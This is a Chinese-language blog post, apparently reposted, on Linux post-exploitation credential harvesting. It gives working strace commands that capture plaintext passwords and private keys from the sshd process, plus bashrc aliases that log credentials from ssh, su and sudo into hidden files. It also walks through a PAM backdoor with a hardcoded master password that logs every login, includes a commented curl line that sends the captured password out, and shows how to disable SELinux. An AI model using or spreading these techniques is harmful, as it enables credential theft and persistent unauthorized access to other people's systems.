linux 后渗透凭据收集

linux 后渗透凭据收集

strace

  • 使用条件
    Linux Kernel 3.4及更高版本支持完全限制或禁用ptrace的功能。
    通过 kernel.yama.ptrace_scope 限制和禁用
    
  • 收集指定进程

    strace -p 跟踪制定进程pid
    
  • 获取sshd进程明文密码strace参数解释

    -f 跟踪由fork调用所产生的子进程.
    -F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
    -p pid 跟踪指定的进程pid.
    -t 在输出中的每一行前加上时间信息.
    -e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
    

获取sshd进程明文密码

# 使用括号执行程序,当前shell退出,执行的程序不会退出
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

获取sshd 进程私钥

# 使用括号执行程序,当前shell退出,执行的程序不会退出
# 如果私钥设置了密码,无法抓到私钥的密码
# grep 'PRIVATE KEY' /tmp/.sshd.log 查看私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

alias

给指定程序设置命令别名,使运行指定程序时自动strace读写系统调用,收集登录凭证

收集ssh登陆凭证

# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc

收集su 、sudo 等

# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
# 使命令别名立即生效
source ~/.bashrc

PAM 后门

环境搭建

cat /etc/*-release & uname -a 
rpm -qa|grep pam    #查看当前PAM版本
http:/xxx#download 对应版本
yum install flex -y 

修改编译 ./Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

retval = _unix_verify_password(pamh,name,p,crtl); //找到该行,快速找一下函数
    
int pam_sm_authenticate 函数内 定义FILE *fp;

添加code
if(strcmp(p,"LOL_uzi2020@")==0){
    return PAM_SUCCESS;  // 这里的LOL_uzi2020@ 可以自行修改为自己的密码
}

if(retval==PAM_SUCCESS){
    fp = fopen("/tmp/.logs","a");
    fprintf(fp,"%s->%s
",name,p); //记录密码在/tmp/.logs 
    fclose(fp);   
   // system("curl http://127.0.0.1:99/`cat /tmp/.logs|tail -n 1|base64` -s --connect-timeout 3 -o /dev/null");  #用服务接收密码  
   //  可以自己去加一些C 用DNS协议出数据,或者socket传输数据 等等,具体看大哥们的脑洞
   // Backdoor  - DNS code extracted from https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168 */  
}



 ./Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so //编译后生成的so文件

查看selinux

getenforce  # 查看selinux 状态
setenforce 0 # 关闭selinux

替换pam_unix.so

cp /lib64/security/pam_unix.so ./pam_unix.so.bak # 先进行备份 (以防崩了无法还原)

cp ./pam_unix.so /lib64/security/pam_unix.so

总结

当linux系统配置文件/proc/sys/kernel/yama/ptrace_scope值不为3时,可以通过strace记录任何程序的系统调用(常用read、write调用)来获取登录凭证

0-经典ptrace权限:进程可以将PTRACE_ATTACH传递给任何其他进程,只要它是可转储的(即没有转换uid,没有特权启动或没有调用prctl(PR_SET_DUMPABLE ...)。同样,PTRACE_TRACEME为不变。

1-受限制的ptrace:进程必须具有预定义的关系下一个它想调用PTRACE_ATTACH。默认情况下,当上面的关系时,这种关系只是其后代的关系也符合经典标准。要改变关系,下级可以调用prctl(PR_SET_PTRACER,debugger,...)进行声明允许的调试器PID调用劣质的PTRACE_ATTACH。使用PTRACE_TRACEME不变。

2-仅限管理员附加:只有具有CAP_SYS_PTRACE的进程才能使用ptrace,通过PTRACE_ATTACH,或通过子级调用PTRACE_TRACEME。

原文地址:https://www.cnblogs.com/0xdd/p/13095330.html